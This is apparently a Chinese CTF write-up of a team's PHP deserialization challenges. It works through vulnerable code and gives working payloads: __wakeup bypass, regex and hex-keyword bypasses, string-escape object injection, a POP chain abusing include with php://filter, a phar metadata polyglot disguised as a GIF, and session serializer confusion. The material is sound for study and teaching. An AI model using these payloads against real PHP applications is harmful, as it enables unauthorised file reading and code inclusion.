今天做一下我们战队大佬提供的php反序列化的题目,第一次完全凭自己本事做题,跃跃欲试。
关于反序列化:https://www.freebuf.com/articles/web/167721.html
unserialize-basic-1
源代码:
<?php
/**
* index.php
* php7.1+反序列化对类属性不敏感
*
*/
class test{
protected $filename;
public function __construct(){
$this->filename = 'index.php';
}
public function __destruct(){
echo file_get_contents($this->filename);
}
}
$a = $_GET['a'];
if($a){
if(preg_match('/\*/',$a)){
echo 'no';
}
else{
unserialize($a);
}
}
else{
highlight_file(__FILE__);
}
代码里有unserialize($a);
,所以是要向变量a传入序列化过的代码,然后__destruct
析构函数在销毁变量时会调用file_get_contents
,我们利用这个来读取flag.php里的内容。
<?php
class test
{
protected $filename = 'flag';
}
$example = new test();
echo serialize($example);
?>
在phpstorm里写代码来获取序列化后的payload O:4:"test":1:{s:11:" * filename";s:8:"flag.php";}
http://49.234.114.121:8088/1/?a=O:4:"test":1:{s:11:" * filename";s:8:"flag.php";}
但是页面显示no,这段payload里有被preg_match过滤的‘*’,但至少证明我的方向是对的。PHP版本7.1,对属性的类型不敏感,所以可以将protected类型改为public。序列化后的payloadO:4:"test":1:{s:8:"filename";s:8:"flag.php";}
http://49.234.114.121:8088/1/?a=O:4:"test":1:{s:8:"filename";s:8:"flag.php";}
输入这个链接以后页面什么也没显示,我还以为是文件名找错了,又改成了flag,发觉有错误提示没有这个文件,那么就说明我原来找对了,只是被注释隐藏了要查看源代码。
这是我第一次自己实打实地解出一道题,不得不说成就感还是非常大的。
unserialize-basic-2
<?php
/**
* index.php
* bypass __wakeup(CVE-2016-7124)
*/
class test{
public $filename;
public function __construct(){
$this->filename = 'index.php';
}
public function __wakeup(){
$this->filename='index.php';
}
public function __destruct(){
echo file_get_contents($this->filename);
}
}
$a = $_GET['a'];
if($a){
unserialize($a);
}
else{
highlight_file(__FILE__);
}
这道题的知识点就是绕过_wakeup
。如果存在__wakeup方法,调用 unserilize() 方法前会先调用__wakeup方法,那么我们注入的flag.php文件就又被改成index.php文件了。
绕过方法也很简单,只要序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行,所以我们把payload改成 O:4:"test":2:{s:8:"filename";s:8:"flag.php";}
(test声明有两个对象但只有一个)
这个漏洞只有在5.6.25<php<7.1.10的版本才有
unserialize-basic-3
<?php
/**
* index.php
* 绕过正则
*/
class test{
public $filename;
public function __construct(){
$this->filename = 'index.php';
}
public function __destruct(){
echo file_get_contents($this->filename);
}
}
$a = $_GET['a'];
if($a){
if (preg_match('/^O:\d+/',$a)){
die('no');
}else{
unserialize($a);
}
}else{
highlight_file(__FILE__);
}
这里是要绕过一个preg_match的正则表达式,\d+
代表任意数字,所以过滤的是序列化表达式里的‘O:4’。这里用O:+4
可以成功,该漏洞只存在于7.2.0以下版本。但是还要对payload进行url编码,‘+’在传递的时候会被当成空格解释。
O:4:"test":1:{s:8:"filename";s:8:"flag.php";}
URL编码成O%3a%2b4%3a%22test%22%3a1%3a%7bs%3a8%3a%22filename%22%3bs%3a8%3a%22flag.php%22%3b%7d
unserialize-basic-4
<?php
/**
* index.php
* 引用绕过
*/
highlight_file(__FILE__);
class test{
public $a;
public $b;
public $c;
public function __destruct(){
foreach ($this as $key=>$value){
if($key === 'b'){
continue;
}
echo $value;
}
}
}
$a = $_GET['a'];
if($a){
$b = unserialize($a);
$b->b = file_get_contents('flag.php');
}
这里将test对象里的属性b赋值成flag.php的内容,但是在析构时检测如果这个属性名是b的话就不输出。为了测试是不是这样我们给a、b、c三个属性分别赋值a、b、c,构造payloadO:4:"test":3:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";s:1:"c";s:1:"c";}
,执行后网页上显示了ac,说明猜测是正确的。(但我不会做)
听了前辈的讲解原来是把c声明为b的引用$a->c=&$a->b
<?php
class test
{
public $a;
public $b;
public $c;
}
$example = new test();
$example->c=&$example->b;
echo serialize($example);
?>
payloadO:4:"test":3:{s:1:"a";N;s:1:"b";N;s:1:"c";R:3;}
unserialize-basic-6
<?php
/**
* index.php
* 十六进制绕过关键字检查
*/
highlight_file(__FILE__);
class test{
public $filename;
public function __destruct()
{
echo file_get_contents($this->filename);
}
}
$a = $_GET['a'];
if($a){
if(preg_match('/filename/', $a)){
echo 'no';
}else{
unserialize($a);
}
}
这关就很清楚了,十六进制绕过代码检查
先尝试http://49.234.114.121:8088/6/?a=O:4:"test":1:{s:8:"%66%69%6c%65%6e%61%6d%65";s:8:"flag.php";}
,显示no
http://49.234.114.121:8088/6/?a=O:4:"test":1:{s:8:"\x66\x69\x6c\x65\x6e\x61\x6d\x65";s:8:"flag.php";}
http://49.234.114.121:8088/6/?a=O:4:"test":1:{s:8:"~%99%96%93%9A%91%9E%92%9A";s:8:"flag.php";}
http://49.234.114.121:8088/6/?a=O:4:"test":1:{s:8:" '00000000'^'VY\U^Q]U' ";s:8:"flag.php";}
三个payload都提示:Warning: file_get_contents(): Filename cannot be empty in /var/www/html/6/index.php on line 13
好家伙后面三道basic我一道都没做出来
原来是S要大写才会把后面的当作十六进制处理,小写的s代表后面的只是普通的字符串
payload
http://49.234.114.121:8088/6/?a=O:4:"test":1:{S:8:"\66\69\6c\65\6e\61\6d\65";s:8:"flag.php";}
unserialize-medium-1
<?php
/**
* index.php
*/
show_source("index.php");
function write($data)
{
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data)
{
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A
{
public $username;
public $password;
function __construct($a, $b)
{
$this->username = $a;
$this->password = $b;
}
}
class B
{
function __wakeup()
{
echo file_get_contents('flag.php');
}
}
$a = new A($_GET['username'], $_GET['password']);
//echo serialize($a);
$b = unserialize(read(write(serialize($a))));
//var_dump($b);
尝试payload?username='user" $c=new B();"'&password='admin'
但是失败
本来想构造类似这样的B,但好像没用,明天用bp抓包看一下吧
object(A)#2 (2) {
["username"]=>
string(18) "user" $c=new B();""
["password"]=>
string(4) "pass"
}
这里用的知识点是unserialize字符串逃逸,chr(0) . ‘*’ . chr(0)的长度是3,’\0\0\0’的长度是6。如果我们传递的字符串本身就有/0/0/0的话,那么经过read就会把字符串的长度减少。
但是s:8:
这部分是不变的,所以长度为8的username会吞噬掉一部分后面的字符串。
再讲一下payload的构造过程
$b=new B();
$a=new A('admin',$b);
echo serialize($a);
//php1,输出O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":0:{}}
$b=new B();
$a=new A('admin',‘admin’);
echo serialize($a);
//php2,输出O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}
我们希望username或者password里有一个B对象,就像php1一样,这样就可以调用B对象的析构函数读取flag,但是这两个参数都只能传入字符串。
$b=new B();
$a=new A('admin',';s:8:"password";O:1:"B":0:{}');
echo serialize($a);
//输出O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:28:";s:8:"password";O:1:"B":0:{}";}
然后在admin里添加若干\0\0\0,造成{s:8:"username";s:5:"admin
";s:8:“password”;s:28:
";s:8:"password";O:1:"B":0:{}";}
的效果,数一下被删掉的字符长度应该是22,chr(0) . ‘*’ . chr(0)和’\0\0\0’的长度之差只能是3的倍数,所以我们随便补两个字符在要删除的字符串里,最后得到
$b=new B();
$a=new A('admin\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1";s:8:"password";O:1:"B":0:{}');
echo serialize($a);
//输出O:1:"A":2:{s:8:"username";s:53:"admin\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:30:"1";s:8:"password";O:1:"B":0:{}";}
最终的payload是http://49.234.114.121:8088/7/?username=admin%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0%5c0&password=1";s:8:"password";O:1:"B":0:{}
\0要URL编码,这道题确实比较搞,要多花时间理解
unserialize-medium-2
这道题我做了很久,先贴一下源代码
<?php
/*
* *index.php
* pop链构造
*/
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a = new Show;
highlight_file(__FILE__);
}
pop链就是利用各种模块里的魔术方法互相调用,最后形成一条函数调用链达到我们的目的。这里贴两个和这道题相关的文章
https://blog.csdn.net/bmth666/article/details/104737025
https://blog.csdn.net/qq_43756333/article/details/106817396
接下来说一下pop链的构造过程。先找能够读取文件内容的函数,发现Modifier模块里有include函数,可以用文件包含。(这里还有一个小坑,在构造文件包含的payload时要用filter协议)所以我们最终的目标是要调用Modifier模块里的__invoke函数,从而调用append函数包含文件。__invoke()在类被当作函数调用时触发。
再看一下我们传进去的pop参数第一步会发生什么。我们给pop传参,然后反序列化,那么为了让我们的pop链能继续下去,传进去的应该是一个Show类,才能在反序列化前调用里面的__wakeup函数。
调用__wakeup函数时,又调用preg_match,把this->source当作字符串调用。to_string函数是在类被当作字符串时自动调用的函数,因为又只有Show类有to_string函数,所以我们把Show类的Source赋值成自己。
to_string()返回str的source属性,那如果没有这个source属性的话就会调用__get()。__get()用于从不可访问的属性获得数据。那么有__get()的只有Test类,所以我们把str赋值成一个test类。
再之后就简单了,我们把test类的p属性赋值成Modifier类,__get()调用Modifier就触发它的__invoke()。pop链构造完毕
<?php
class Modifier
{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p=$m;
$s->str=$t;
$s->source=$s;
echo serialize($s);
?>
得到payloadO:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
但是在输入到URL里的时候要注意在*两边加%00防止被截断。
http://49.234.114.121:8088/8/?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
最上面一行就是flag,base64解码即可
unserialize-medium-3
<?php
/**
* index.php
*/
highlight_file(__FILE__);
echo '
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>';
class test{
public $filename;
function __wakeup()
{
echo file_get_contents($this->filename);
}
}
$filename = $_GET['filename'];
if($filename){
echo file_exists($filename);
}
这道题可以上传一个文件,虽然有__wakeup函数,但是没有unserialize函数,好像没有可以反序列化的点。但其实php有一个压缩文档phar,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行。php一部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,file_exists就是其中之一。
https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar
https://paper.seebug.org/680/
<?php
class test
{
public $filename;
}
$o=new test();
$o->filename='flag.php';
$filename='poc.phar';
file_exists($filename)?unlink($filename):null;
$phar=new Phar($filename);
$phar->startBuffering();
//如果要检查文件头,可以添加GIF89a,但不会影响它的php属性
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
//$o对象会被序列化放到poc.phar
$phar->setMetadata($o);
//创造一个foo.txt放到poc.phar中,无实际作用
$phar->addFromString("foo.txt","bar");
//自动签名
$phar->stopBuffering();
?>
通过这段代码构造poc.char文件。首先在php.ini中修改phar.readonly这个选项,去掉前面的分号,并改值为off。如果没有php.ini文件,可以找php.ini-production或者php.ini-development改名成php.ini,效果是一样的。
得到poc.char文件以后因为只能上传gif,所以把后缀改为.gif。上传以后会返回文件路径,复制该路径回到原页面。payload就是?filename=phar://+路径
http://49.234.114.121:8088/9/?filename=phar:///var/www/html/9/tmp/upload_file/poc.gif
unserialize-medium-4
<?php
/**
* index.php
*/
ini_set('session.save_path','tmp/');
ini_set('session.serialize_handler', 'php');
session_start();
highlight_file(__FILE__);
class test {
public $filename;
function __construct(){
$this->filename = 'index.php';
}
function __wakeup() {
echo file_get_contents($this->filename);
}
}
echo $_SESSION['username'];
?>
这是一道session反序列化的题目,关于这个知识点贴一个社死博客
https://www.cnblogs.com/zzjdbk/p/12995217.html
// name.php
<?php
ini_set('session.save_path','tmp/');
ini_set('session.serialize_handler', 'php_serialize');
session_start();
highlight_file(__FILE__);
$_SESSION["username"]=$_GET["username"];
name.php用的是php_serialize解释器,因此我们传入http://49.234.114.121:8088/10/name.php?username=|O:4:"test":1:{s:8:"filename";s:8:"flag.php";}
解释器只会把'|'
当作一个普通字符。
但当传入到index.php的时候因为使用的是php解释器,'|'
被当成是键值对分隔符,'|'
前面的被当作key值,后面的O:4:“test”:1:{s:8:“filename”;s:8:“flag.php”;}被当作value值。
session本身就是把对象序列化成字符串传入的,所以自身就会执行反序列化过程,当我们返回index.php的时候就能看见flag了